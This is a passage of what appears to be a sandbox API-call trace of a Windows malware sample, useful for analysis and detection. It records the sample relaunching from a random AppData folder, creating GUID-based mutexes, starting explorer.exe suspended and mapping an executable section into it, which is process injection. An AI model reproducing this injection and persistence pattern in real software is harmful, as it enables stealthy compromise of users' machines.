0x76871470 [0268.497] lstrlenA (lpString="CreateWindowExA") returned 15 [0268.497] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa68 | out: hHeap=0x2190000) returned 1 [0268.497] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xb) returned 0x220fb58 [0268.498] GetProcAddress (hModule=0x76850000, lpProcName="ShowWindow") returned 0x76883ee0 [0268.498] lstrlenA (lpString="ShowWindow") returned 10 [0268.498] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fb58 | out: hHeap=0x2190000) returned 1 [0268.498] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220fa38 [0268.498] GetProcAddress (hModule=0x76850000, lpProcName="UpdateWindow") returned 0x76862b80 [0268.498] lstrlenA (lpString="UpdateWindow") returned 12 [0268.498] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa38 | out: hHeap=0x2190000) returned 1 [0268.498] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220fab0 [0268.498] GetProcAddress (hModule=0x76850000, lpProcName="GetMessageA") returned 0x7686bdf0 [0268.498] lstrlenA (lpString="GetMessageA") returned 11 [0268.498] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fab0 | out: hHeap=0x2190000) returned 1 [0268.498] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f700 [0268.498] GetProcAddress (hModule=0x76850000, lpProcName="TranslateMessage") returned 0x7687f900 [0268.498] lstrlenA (lpString="TranslateMessage") returned 16 [0268.499] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0268.499] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f700 [0268.499] GetProcAddress (hModule=0x76850000, lpProcName="DispatchMessageA") returned 0x7686fd80 [0268.499] lstrlenA (lpString="DispatchMessageA") returned 16 [0268.499] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0268.499] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220fa08 [0268.499] GetProcAddress (hModule=0x76850000, lpProcName="DestroyWindow") returned 0x74231c10 [0268.499] lstrlenA (lpString="DestroyWindow") returned 13 [0268.499] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa08 | out: hHeap=0x2190000) returned 1 [0268.499] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f700 [0268.499] GetProcAddress (hModule=0x76850000, lpProcName="UnregisterClassA") returned 0x7687b230 [0268.499] lstrlenA (lpString="UnregisterClassA") returned 16 [0268.499] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0268.499] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f9f0 [0268.500] GetProcAddress (hModule=0x76850000, lpProcName="DefWindowProcA") returned 0x77865680 [0268.500] lstrlenA (lpString="DefWindowProcA") returned 14 [0268.500] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f9f0 | out: hHeap=0x2190000) returned 1 [0268.500] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x10) returned 0x220faf8 [0268.500] GetProcAddress (hModule=0x76850000, lpProcName="PostQuitMessage") returned 0x76872bc0 [0268.500] lstrlenA (lpString="PostQuitMessage") returned 15 [0268.500] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220faf8 | out: hHeap=0x2190000) returned 1 [0268.500] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned 64 [0268.500] lstrlenW (lpString=" /C") returned 3 [0268.500] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x88) returned 0x220f700 [0268.500] lstrcatW (in: lpString1="", lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0268.500] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", lpString2=" /C" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe /C") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe /C" [0268.500] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fec8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19ff0c | out: lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe /C", lpProcessInformation=0x19ff0c*(hProcess=0x2ac, hThread=0x2a8, dwProcessId=0x1384, dwThreadId=0xf34)) returned 1 [0268.523] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x9c40) returned 0x0 [0283.538] GetExitCodeProcess (in: hProcess=0x2ac, lpExitCode=0x19ff3c | out: lpExitCode=0x19ff3c*=0x0) returned 1 [0283.538] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe /C") returned 67 [0283.538] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0283.538] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x21) returned 0x220f700 [0283.538] lstrlenA (lpString="xafpqko") returned 7 [0283.538] lstrlenA (lpString="user32.dll") returned 10 [0283.538] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.538] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] lstrlenA (lpString="user32.dll") returned 10 [0283.539] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0283.539] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0283.539] lstrcmpiW (lpString1="Qieeyrekuc", lpString2="Qieeyrekuc") returned 0 [0283.539] lstrlenA (lpString="xafpqko") returned 7 [0283.539] lstrlenA (lpString=".") returned 1 [0283.540] lstrlenA (lpString="q") returned 1 [0283.540] lstrlenA (lpString="b") returned 1 [0283.540] lstrlenA (lpString="0") returned 1 [0283.540] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220fb70 [0283.540] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0283.540] lstrcatA (in: lpString1="xafpqko", lpString2="." | out: lpString1="xafpqko.") returned="xafpqko." [0283.540] lstrcatA (in: lpString1="xafpqko.", lpString2="q" | out: lpString1="xafpqko.q") returned="xafpqko.q" [0283.540] lstrcatA (in: lpString1="xafpqko.q", lpString2="b" | out: lpString1="xafpqko.qb") returned="xafpqko.qb" [0283.540] lstrcatA (in: lpString1="xafpqko.qb", lpString2="0" | out: lpString1="xafpqko.qb0") returned="xafpqko.qb0" [0283.540] lstrlenA (lpString="xafpqko.qb0") returned 11 [0283.540] lstrlenA (lpString="user32.dll") returned 10 [0283.540] lstrlenA (lpString="user32.dll") returned 10 [0283.540] lstrlenA (lpString="user32.dll") returned 10 [0283.540] lstrlenA (lpString="user32.dll") returned 10 [0283.540] lstrlenA (lpString="user32.dll") returned 10 [0283.540] lstrlenA (lpString="user32.dll") returned 10 [0283.540] lstrlenA (lpString="user32.dll") returned 10 [0283.540] lstrlenA (lpString="user32.dll") returned 10 [0283.541] lstrlenA (lpString="user32.dll") returned 10 [0283.541] lstrlenA (lpString="user32.dll") returned 10 [0283.541] lstrlenA (lpString="user32.dll") returned 10 [0283.541] lstrlenA (lpString="user32.dll") returned 10 [0283.541] lstrlenA (lpString="user32.dll") returned 10 [0283.541] lstrlenA (lpString="user32.dll") returned 10 [0283.541] lstrlenA (lpString="user32.dll") returned 10 [0283.541] lstrlenA (lpString="user32.dll") returned 10 [0283.541] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x47) returned 0x220f700 [0283.541] _vsnprintf (in: _DstBuf=0x19ff00, _MaxCount=0x28, _Format="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}", _ArgList=0x19f4a0 | out: _DstBuf="{A7769AE9-77E1-4B28-9E3D-FAC58A61B7B9}") returned 38 [0283.541] lstrlenA (lpString="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}") returned 70 [0283.541] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0283.541] lstrlenA (lpString="Global") returned 6 [0283.541] lstrlenA (lpString="\\") returned 1 [0283.541] lstrlenA (lpString="{A7769AE9-77E1-4B28-9E3D-FAC58A61B7B9}") returned 38 [0283.542] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x2e) returned 0x220f700 [0283.542] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0283.542] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0283.542] lstrcatA (in: lpString1="Global\\", lpString2="{A7769AE9-77E1-4B28-9E3D-FAC58A61B7B9}" | out: lpString1="Global\\{A7769AE9-77E1-4B28-9E3D-FAC58A61B7B9}") returned="Global\\{A7769AE9-77E1-4B28-9E3D-FAC58A61B7B9}" [0283.542] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{A7769AE9-77E1-4B28-9E3D-FAC58A61B7B9}") returned 0x2b4 [0283.542] GetLastError () returned 0x0 [0283.542] lstrlenA (lpString="Global\\{A7769AE9-77E1-4B28-9E3D-FAC58A61B7B9}") returned 45 [0283.542] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0283.542] lstrlenA (lpString="xafpqko") returned 7 [0283.542] lstrlenA (lpString=".") returned 1 [0283.542] lstrlenA (lpString="q") returned 1 [0283.542] lstrlenA (lpString="b") returned 1 [0283.542] lstrlenA (lpString="1") returned 1 [0283.542] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220fac8 [0283.542] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0283.542] lstrcatA (in: lpString1="xafpqko", lpString2="." | out: lpString1="xafpqko.") returned="xafpqko." [0283.543] lstrcatA (in: lpString1="xafpqko.", lpString2="q" | out: lpString1="xafpqko.q") returned="xafpqko.q" [0283.543] lstrcatA (in: lpString1="xafpqko.q", lpString2="b" | out: lpString1="xafpqko.qb") returned="xafpqko.qb" [0283.543] lstrcatA (in: lpString1="xafpqko.qb", lpString2="1" | out: lpString1="xafpqko.qb1") returned="xafpqko.qb1" [0283.543] lstrlenA (lpString="xafpqko.qb1") returned 11 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] lstrlenA (lpString="user32.dll") returned 10 [0283.543] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x47) returned 0x220f700 [0283.543] _vsnprintf (in: _DstBuf=0x19ff00, _MaxCount=0x28, _Format="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}", _ArgList=0x19f4a0 | out: _DstBuf="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 38 [0283.543] lstrlenA (lpString="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}") returned 70 [0283.543] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0283.543] lstrlenA (lpString="Global") returned 6 [0283.543] lstrlenA (lpString="\\") returned 1 [0283.544] lstrlenA (lpString="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 38 [0283.544] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x2e) returned 0x220f700 [0283.544] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0283.544] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0283.544] lstrcatA (in: lpString1="Global\\", lpString2="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}" | out: lpString1="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}" [0283.544] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 0x2b0 [0283.544] GetLastError () returned 0x0 [0283.544] lstrlenA (lpString="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 45 [0283.544] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0283.544] ReleaseMutex (hMutex=0x2b0) returned 1 [0283.544] CloseHandle (hObject=0x2b0) returned 1 [0283.544] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220fa68 [0283.544] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x46) returned 0x220f700 [0283.544] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\SysWOW64\\explorer.exe", lpDst=0x19fc94, nSize=0x104 | out: lpDst="C:\\WINDOWS\\SysWOW64\\explorer.exe") returned 0x21 [0283.544] lstrlenA (lpString="%") returned 1 [0283.544] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0283.544] lstrlenW (lpString="C:\\WINDOWS\\SysWOW64\\explorer.exe") returned 32 [0283.544] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x42) returned 0x220f700 [0283.545] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x44) returned 0x220f750 [0283.545] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\SysWOW64\\mobsync.exe", lpDst=0x19fc94, nSize=0x104 | out: lpDst="C:\\WINDOWS\\SysWOW64\\mobsync.exe") returned 0x20 [0283.545] lstrlenA (lpString="%") returned 1 [0283.545] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f750 | out: hHeap=0x2190000) returned 1 [0283.545] lstrlenW (lpString="C:\\WINDOWS\\SysWOW64\\mobsync.exe") returned 31 [0283.545] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x40) returned 0x220f750 [0283.545] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x66) returned 0x220f798 [0283.545] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles(x86)%\\Internet Explorer\\iexplore.exe", lpDst=0x19fc94, nSize=0x104 | out: lpDst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 0x36 [0283.545] lstrlenA (lpString="%") returned 1 [0283.545] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f798 | out: hHeap=0x2190000) returned 1 [0283.545] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 53 [0283.545] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x6c) returned 0x220f798 [0283.545] lstrlenA (lpString="xafpqko") returned 7 [0283.545] lstrlenA (lpString="xafpqko") returned 7 [0283.545] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220fae0 [0283.545] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0283.545] lstrcatA (in: lpString1="xafpqko", lpString2="xafpqko" | out: lpString1="xafpqkoxafpqko") returned="xafpqkoxafpqko" [0283.545] lstrlenA (lpString="xafpqkoxafpqko") returned 14 [0283.545] lstrlenA (lpString="user32.dll") returned 10 [0283.545] lstrlenA (lpString="user32.dll") returned 10 [0283.545] lstrlenA (lpString="user32.dll") returned 10 [0283.545] lstrlenA (lpString="user32.dll") returned 10 [0283.545] lstrlenA (lpString="user32.dll") returned 10 [0283.545] lstrlenA (lpString="user32.dll") returned 10 [0283.545] lstrlenA (lpString="user32.dll") returned 10 [0283.545] lstrlenA (lpString="user32.dll") returned 10 [0283.545] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="user32.dll") returned 10 [0283.546] lstrlenA (lpString="Global") returned 6 [0283.546] lstrlenA (lpString="\\") returned 1 [0283.546] lstrlenA (lpString="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 33 [0283.546] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x29) returned 0x220f810 [0283.546] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0283.546] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0283.546] lstrcatA (in: lpString1="Global\\", lpString2="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" | out: lpString1="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" [0283.547] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\WINDOWS\\SysWOW64\\explorer.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fef8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19fee8 | out: lpCommandLine="C:\\WINDOWS\\SysWOW64\\explorer.exe", lpProcessInformation=0x19fee8*(hProcess=0x2c0, hThread=0x2b0, dwProcessId=0xd30, dwThreadId=0xfd8)) returned 1 [0287.335] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x14) returned 0x220f848 [0287.335] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x777e0000 [0287.335] lstrlenA (lpString="n") returned 1 [0287.336] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f848 | out: hHeap=0x2190000) returned 1 [0287.336] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x15) returned 0x220f848 [0287.336] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x10) returned 0x220fba0 [0287.336] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x13) returned 0x220f868 [0287.336] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x15) returned 0x220f888 [0287.337] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x17) returned 0x220f8a8 [0287.337] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x8) returned 0x220ffd0 [0287.337] GetProcAddress (hModule=0x777e0000, lpProcName="NtUnmapViewOfSection") returned 0x77851fb0 [0287.338] GetProcAddress (hModule=0x777e0000, lpProcName="NtCreateSection") returned 0x778521b0 [0287.338] GetProcAddress (hModule=0x777e0000, lpProcName="NtMapViewOfSection") returned 0x77851f90 [0287.338] GetProcAddress (hModule=0x777e0000, lpProcName="NtWriteVirtualMemory") returned 0x778520b0 [0287.338] GetProcAddress (hModule=0x777e0000, lpProcName="NtProtectVirtualMemory") returned 0x77852210 [0287.338] GetProcAddress (hModule=0x777e0000, lpProcName="NtClose") returned 0x77851de0 [0287.338] lstrlenA (lpString="NtUnmapViewOfSection") returned 20 [0287.338] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f848 | out: hHeap=0x2190000) returned 1 [0287.338] lstrlenA (lpString="NtCreateSection") returned 15 [0287.338] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fba0 | out: hHeap=0x2190000) returned 1 [0287.338] lstrlenA (lpString="NtMapViewOfSection") returned 18 [0287.338] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f868 | out: hHeap=0x2190000) returned 1 [0287.338] lstrlenA (lpString="NtWriteVirtualMemory") returned 20 [0287.338] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f888 | out: hHeap=0x2190000) returned 1 [0287.339] lstrlenA (lpString="NtProtectVirtualMemory") returned 22 [0287.339] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f8a8 | out: hHeap=0x2190000) returned 1 [0287.339] lstrlenA (lpString="NtClose") returned 7 [0287.339] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220ffd0 | out: hHeap=0x2190000) returned 1 [0287.339] NtCreateSection (in: SectionHandle=0x19fbb4, DesiredAccess=0xe, ObjectAttributes=0x0, MaximumSize=0x19fba8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fbb4*=0x2c8) returned 0x0 [0287.339] GetCurrentProcess () returned 0xffffffff [0287.339] NtMapViewOfSection (in: SectionHandle=0x2c8, ProcessHandle=0xffffffff, BaseAddress=0x19fbb8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fbb0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x19fbb8*=0x520000, SectionOffset=0x0, ViewSize=0x19fbb0*=0x37000) returned 0x0 [0287.342] NtMapViewOfSection (in: SectionHandle=0x2c8, ProcessHandle=0x2c0, BaseAddress=0x19fbbc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fbb0*=0x37000, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x19fbbc*=0x28a0000, SectionOffset=0x0, ViewSize=0x19fbb0*=0x37000) returned 0x0 [0287.361] lstrlenA (lpString="3") returned 1 [0287.361] GetCurrentProcess () returned 0xffffffff [0287.361] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x520000) returned 0x0 [0289.006] NtClose (Handle=0x2c8) returned 0x0 [0289.007] GetThreadContext (in: hThread=0x2b0, lpContext=0x19fbd4 | out: lpContext=0x19fbd4*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x269c000, Edx=0x0, Ecx=0x0, Eax=0x21b5c0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, 